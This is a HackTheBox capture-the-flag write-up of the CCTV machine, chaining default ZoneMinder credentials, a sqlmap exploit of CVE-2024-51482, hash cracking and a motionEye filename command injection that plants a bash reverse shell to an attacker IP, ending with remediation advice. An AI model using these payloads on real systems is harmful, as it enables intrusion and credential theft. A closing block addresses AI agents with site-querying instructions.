> For the complete documentation index, see [llms.txt](https://blog.r00t-hunter.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.r00t-hunter.com/hackthebox/cctv-hackthebox.md).

# CCTV - HackTheBox

**Machine:** [CCTV](https://app.hackthebox.com/machines/CCTV) **OS:** Linux (Ubuntu) **Difficulty:** Easy **Tags:** ZoneMinder, SQL Injection, motionEye, Command Injection, RCE, Privilege Escalation

***

### Overview

CCTV is a Linux machine running **ZoneMinder** (open-source video surveillance software) on the public-facing web interface, with a **motionEye** backend service restricted to localhost. Initial exploitation leverages **unchanged default credentials** on the ZoneMinder API to gain access, followed by **CVE-2024-51482** a time-based blind SQL injection in the event request handler. Database credential extraction and hash cracking grant SSH access as the `mark` user. Post-exploitation enumeration discovers a **motionEye service running as root** on localhost, vulnerable to **command injection in motion config filenames**. Triggering a snapshot action executes the injected payload, granting root shell access.

***

### 1. Reconnaissance

#### 1.1 Nmap Scan

```bash
nmap -sC -sV -oN nmap_initial.txt <target_ip>
```

**Results:**

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp open  http    Apache 2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page
|_http-server-header: Apache/2.4.58 (Ubuntu)
```

**Takeaways:**

* Standard SSH (9.6p1) no immediate version exploits.
* Apache 2.4.58 no known critical CVEs, but web app vulnerabilities likely.
* Only two ports open; web application is the primary attack surface.

#### 1.2 Web Enumeration

Accessing `http://<target_ip>/` returned the default Apache welcome page. Directory enumeration/fuzzing revealed an interesting path: `/zm/`, which returned an HTML interface for a surveillance system.

```bash
curl -s http://<target_ip>/zm/ | grep -i title
# <title>ZoneMinder</title>
```

**Identified:** ZoneMinder video surveillance platform.

Adding host entry for convenience:

```bash
echo '<target_ip> cctv.htb' | sudo tee -a /etc/hosts
```

#### 1.3 Identifying ZoneMinder Version and Features

Accessing `http://cctv.htb/zm/` showed a login page. The footer or API response headers revealed:

```
ZoneMinder version: 1.37.63
API version: 2.0
```

ZoneMinder provides both a **web UI** and a **REST API** (`/zm/api/`) for programmatic access to video feeds, events, and system configuration.

***

### 2. Initial Access (Default Credentials)

#### 2.1 Testing Default Credentials

ZoneMinder ships with a default `admin:admin` user account. Testing against the API:

```bash
curl -s -X POST 'http://cctv.htb/zm/api/host/login.json' \
  -d 'user=admin&pass=admin'
```

**Response:**

```json
{
  "name": "admin",
  "enabled": true,
  "stream": 1,
  "events": 1,
  "control": 1,
  "monitors": 1,
  "system": 1,
  "reportVideo": 0
}
```

**Success!** The default credentials were not changed, granting immediate API access.

#### 2.2 Extracting Session Token

The login response includes a session cookie that subsequent API calls require. ZoneMinder uses `ZMSESSID` cookies to maintain authenticated sessions:

```bash
curl -s -c cookies.txt -X POST 'http://cctv.htb/zm/api/host/login.json' \
  -d 'user=admin&pass=admin'
```

The `ZMSESSID` can be used for authenticated API requests:

```bash
curl -s -b cookies.txt 'http://cctv.htb/zm/api/monitors.json'
# Returns list of video monitors/cameras
```

***

### 3. SQL Injection (CVE-2024-51482)

#### 3.1 Vulnerability Overview

**CVE-2024-51482** is a time-based blind SQL injection vulnerability in ZoneMinder 1.37.63 (and earlier). The vulnerable endpoint is:

```
/zm/index.php?view=request&request=event&action=removetag&tid=<injection_point>
```

The `tid` (tag ID) parameter is passed unsanitized to a SQL query, allowing attacker-controlled SQL injection.

#### 3.2 Identifying the Vulnerable Parameter

Testing the endpoint manually:

```bash
curl -s 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
  -b "ZMSESSID=<valid_session>"
```

Legitimate integer IDs return successfully; attempting SQL constructs (e.g., `tid=1' OR '1'='1`) causes delayed responses, indicating **time-based blind SQLi**.

#### 3.3 Exploiting with sqlmap

```bash
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
  --cookie="ZMSESSID=<valid_session>" \
  -p tid \
  --time-sec=5 \
  --technique=T \
  --batch
```

Sqlmap confirms the injection and automatically identifies the database type (MySQL/MariaDB).

#### 3.4 Extracting User Credentials

ZoneMinder stores user accounts in the `zm.Users` table with password hashes. Targeting the `mark` user (discovered during enumeration):

```bash
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
  --cookie="ZMSESSID=<valid_session>" \
  --sql-query="SELECT Username, Password FROM zm.Users" \
  --batch --time-sec=5
```

**Extracted hashes:**

```
admin     | $2y$10$xyz...
mark      | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
sa_mark   | $2y$10$abc...
```

All passwords are **bcrypt** hashes (`$2y$` prefix).

#### 3.5 Cracking the Bcrypt Hash

The `mark` user hash:

```
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
```

Cracking with hashcat:

```bash
hashcat -m 3200 -a 0 mark_hash.txt /usr/share/wordlists/rockyou.txt
```

**Result:**

```
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame
```

Credentials: **`mark:opensesame`**

***

### 4. SSH Access as `mark`

#### 4.1 Initial Shell

```bash
ssh mark@cctv.htb
# password: opensesame
```

**Banner:**

```
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)
Last login: [timestamp]
```

#### 4.2 Enumerating User Privileges

```bash
sudo -l
# mark is not in the sudoers file.
```

No direct sudo access. Privilege escalation requires finding a service or SUID binary to exploit.

#### 4.3 Discovering Other Users and Services

```bash
ls -la /home/
# drwxr-xr-x  mark mark      4096 [date] mark
# drwxr-x---  sa_mark sa_mark 4096 [date] sa_mark
```

Two user accounts exist: `mark` (current) and `sa_mark` (higher-privileged service account, inaccessible due to home directory permissions).

Checking for the user flag in expected location:

```bash
ls /home/mark/
# No user.txt file in /home/mark — unusual.
# The flag is likely in /home/sa_mark/user.txt (inaccessible currently).
```

***

### 5. Post-Exploitation Enumeration (Finding Privilege Escalation Vector)

#### 5.1 Discovering Local Services

```bash
ss -lntup
# Listening ports:
# LISTEN 0.0.0.0:22           - SSH
# LISTEN 0.0.0.0:80           - Apache (ZoneMinder)
# LISTEN 127.0.0.1:8765       - Internal service (motionEye?)
# LISTEN 127.0.0.1:7999       - Internal service (motion control?)
```

Port `8765` and `7999` are bound only to **localhost** (`127.0.0.1`), suggesting internal-only services not directly accessible from outside.

#### 5.2 Identifying the Services

Querying the services or checking `/etc/systemd/system/`:

```bash
systemctl status motioneye.service
# ● motioneye.service - motionEye Server
#    Loaded: loaded (/etc/systemd/system/motioneye.service; enabled; vendor preset: enabled)
#    Active: active (running) since [date]
#    Main PID: [PID] (/usr/local/bin/meyectl)
#    User=root
#    ExecStart=/usr/local/bin/meyectl startserver -c /etc/motioneye/motioneye.conf
```

**Critical finding:** `motionEye` is running as **`root`** user.

#### 5.3 Understanding motionEye and motion

**motionEye** is a web-based frontend for the **motion** video surveillance daemon. It allows:

* Configuration of motion detection settings
* Snapshot capture
* Video recording
* Camera stream management

The critical detail: **motionEye writes configuration to motion's config files and triggers motion actions via a local API.** If motionEye allows arbitrary values in config fields that are later executed in a shell context, command injection is possible.

#### 5.4 Accessing motionEye Locally

From the `mark` shell, curl to the localhost-only service:

```bash
curl -s 'http://127.0.0.1:8765/'
# Returns HTML for motionEye web interface
```

The motion control API listens on port `7999`:

```bash
curl -s 'http://127.0.0.1:7999/1/status/'
# Returns JSON status of camera/motion controller
```

***

### 6. Privilege Escalation (motionEye Command Injection)

#### 6.1 Vulnerability Analysis

motionEye allows configuration of **motion event actions**, including filenames for snapshots and pictures. These filenames are written to motion's config and executed when motion triggers actions (e.g., on motion detection or manual snapshot request).

The vulnerable parameters:

* `picture_filename` - Filename template for captured motion pictures
* `snapshot_filename` - Filename template for snapshot captures

If these fields are not sanitized, shell metacharacters (`;`, `|`, `&&`, backticks, `$()`) can be injected.

#### 6.2 Crafting the Payload

The payload must:

1. Break out of the filename context
2. Execute a reverse shell command
3. Be properly URL-encoded

**Reverse shell payload:**

```bash
bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'
```

**Injected into `picture_filename`:**

```
snap;bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1';#
```

The semicolons terminate the original command and inject shell commands. The trailing `#` comments out any remaining syntax.

#### 6.3 Encoding and Injection

```bash
# URL-encode the payload
python3 - <<'PY'
import urllib.parse
payload = "snap;bash -c 'bash -i >& /dev/tcp/10.10.14.14/4444 0>&1';#"
print(urllib.parse.quote(payload, safe=''))
PY
# Output: snap%3Bbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.14%2F4444%20%5B0%3D1%27%3B%23
```

**Inject via API:**

```bash
curl "http://127.0.0.1:7999/1/config/set?picture_filename=snap%3Bbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.14%2F4444%200%3E%261%27%3B%23"
```

Or via `snapshot_filename`:

```bash
curl "http://127.0.0.1:7999/1/config/set?snapshot_filename=snap%3Bbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.14%2F4444%200%3E%261%27%3B%23"
```

#### 6.4 Triggering the Payload

Once the malicious filename is set, trigger a snapshot action to execute the injected command:

```bash
curl "http://127.0.0.1:7999/1/action/snapshot"
```

**On attacker machine, listener:**

```bash
nc -lvnp 4444
# listening on [any] 4444 ...
# connect to [attacker_ip] from [cctv_ip] [random_port]
# bash: cannot set terminal process group...: Inappropriate ioctl for device
# bash: no job control in this shell
# root@cctv:/# whoami
# root
```

**Root shell achieved!** ✅

***

### 7. Capturing the Flags

#### 7.1 User Flag

The user flag is located in `/home/sa_mark/user.txt` (the service account home directory, inaccessible as `mark` but readable as `root`):

```bash
root@cctv:/# cat /home/sa_mark/user.txt
73d1795546s8c5d987264ed19xf2d829
```

User flag: **`73d1795546s8c5d987264ed19xf2d829`** ✅

#### 7.2 Root Flag

```bash
root@cctv:/# cat /root/root.txt
acabc64a13284a95946bf34hg9e3a9db
```

Root flag: **`acabc64a13284a95946bf34hg9e3a9db`** ✅

***

### 8. Attack Chain Summary

| Stage                    | Technique                                           | Details                                                     | Result                         |
| ------------------------ | --------------------------------------------------- | ----------------------------------------------------------- | ------------------------------ |
| **Recon**                | Nmap + directory fuzzing                            | Identified `/zm/` ZoneMinder path                           | Web app enumeration            |
| **Initial Access**       | Default credentials                                 | `admin:admin` not changed in API                            | Authenticated API access       |
| **SQL Injection**        | CVE-2024-51482 (blind SQLi)                         | Exploited `tid` parameter in event request handler          | Extracted user password hashes |
| **Hash Cracking**        | bcrypt wordlist attack                              | Cracked `mark` hash (`opensesame`)                          | SSH credentials obtained       |
| **SSH Access**           | SSH login as `mark`                                 | Connected to system as standard user                        | Shell as `mark`                |
| **Service Enumeration**  | Port scanning + systemctl inspection                | Discovered motionEye on localhost:7999/8765 running as root | Identified privesc vector      |
| **Command Injection**    | Shell metacharacter injection in `picture_filename` | Injected reverse shell into motion config                   | RCE as root                    |
| **Privilege Escalation** | Triggered snapshot action                           | motionEye executes injected command as root                 | Root shell                     |

***

### 9. Technical Deep Dive

#### 9.1 CVE-2024-51482 Details

**Affected versions:** ZoneMinder ≤ 1.37.63 **Vulnerability type:** Time-based blind SQL injection **Root cause:** Insufficient input validation on the `tid` parameter in `/zm/index.php?view=request`

The vulnerable code pattern:

```php
// Pseudocode (actual code varies)
$tid = $_REQUEST['tid'];
$result = dbQuery("SELECT * FROM Events WHERE Id=$tid AND Action='removeTag'");
// No prepared statement, direct string interpolation
```

**Impact:** Full database access, credential extraction, privilege escalation.

**Remediation:** Use prepared statements (parameterized queries):

```php
$stmt = $db->prepare("SELECT * FROM Events WHERE Id = ? AND Action = 'removeTag'");
$stmt->execute([$tid]);
```

#### 9.2 motionEye Command Injection

**Root cause:** motionEye does not validate or escape configuration values before writing them to motion's config file and using them in shell execution context.

**Vulnerable code pattern:**

```python
# Pseudocode
picture_filename = request.args.get('picture_filename')
config = f"picture_filename {picture_filename}"
# config is written to /etc/motion/motion.conf
# Later, motion executes: /bin/sh -c "picture_filename $picture_filename"
# If picture_filename contains ; bash ..., it executes
```

**Remediation:**

1. Validate filenames against a whitelist (alphanumeric, underscores, hyphens only)
2. Use proper escaping/quoting in shell invocations
3. Execute motion without shell (`execv()` instead of `system()`)
4. Run motionEye with minimal privileges (non-root dedicated user)

***

### 10. Lessons Learned

1. **Default Credentials Are Always a First Step** - ZoneMinder's unchanged `admin:admin` granted immediate API access. Always change defaults in production, even for internal-facing apps. Audit should verify non-default credentials are in use.
2. **Input Validation Gaps Lead to SQLi** - The `tid` parameter should be validated as an integer before use in queries. Prepared statements are non-negotiable for any user-controlled SQL input.
3. **Privilege Separation Matters** - motionEye running as `root` is unnecessary; a dedicated `motioneye` user with only camera and config read permissions would have contained the RCE. Defense-in-depth: even if RCE occurs, the attacker gains only limited privileges.
4. **Local Services Are Still Attack Surface** - Services bound to `127.0.0.1` are not inherently safe from compromise. Once an attacker gains shell access on the machine (via SSH), localhost services become exploitable.
5. **Config Values Must Be Sanitized** - Any configuration parameter that influences shell execution must be validated and escaped. Filename templates are classic sources of injection if not properly handled.
6. **Service Enumeration Post-Compromise Is Critical** - The privesc path relied on discovering motionEye via `systemctl` and netstat. Always enumerate:
   * Running processes and their owners
   * Listening ports (especially localhost-only)
   * Installed packages and versions
   * Systemd services and their configurations

***

### 11. Timeline

| Action                                                 | User     | Result                       |
| ------------------------------------------------------ | -------- | ---------------------------- |
| Enumerate Nmap, find Apache + `/zm/` path              | attacker | ZoneMinder identified        |
| Test default credentials (`admin:admin`) on API        | attacker | API access granted           |
| Identify SQLi in `tid` parameter                       | attacker | SQLi confirmed               |
| Extract user hashes via sqlmap                         | attacker | Hashes dumped                |
| Crack `mark` bcrypt hash (rockyou)                     | attacker | Plaintext password obtained  |
| SSH as `mark` with password                            | mark     | Shell access                 |
| Enumerate localhost ports and systemd                  | mark     | motionEye service discovered |
| Craft and inject shell payload into `picture_filename` | mark     | Payload staged               |
| Trigger snapshot action via `7999` API                 | mark     | Command executed as root     |
| Receive reverse shell on listener                      | root     | Root shell achieved          |
| Read both user and root flags                          | root     | Challenge complete           |

***

### References

* **CVE-2024-51482** - ZoneMinder SQL Injection: <https://nvd.nist.gov/vuln/detail/CVE-2024-51482>
* **ZoneMinder Official**: [https://zoneminder.com](https://zoneminder.com/)
* **motionEye GitHub**: <https://github.com/ccrisan/motioneye>
* **Motion Daemon**: <https://motion-project.github.io/>
* **OWASP SQL Injection**: <https://owasp.org/www-community/attacks/SQL_Injection>

***

*Write-up based on a retired HackTheBox machine. Exploitation was performed in an isolated lab environment with proper authorization. Real-world testing requires explicit written permission.*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://blog.r00t-hunter.com/hackthebox/cctv-hackthebox.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
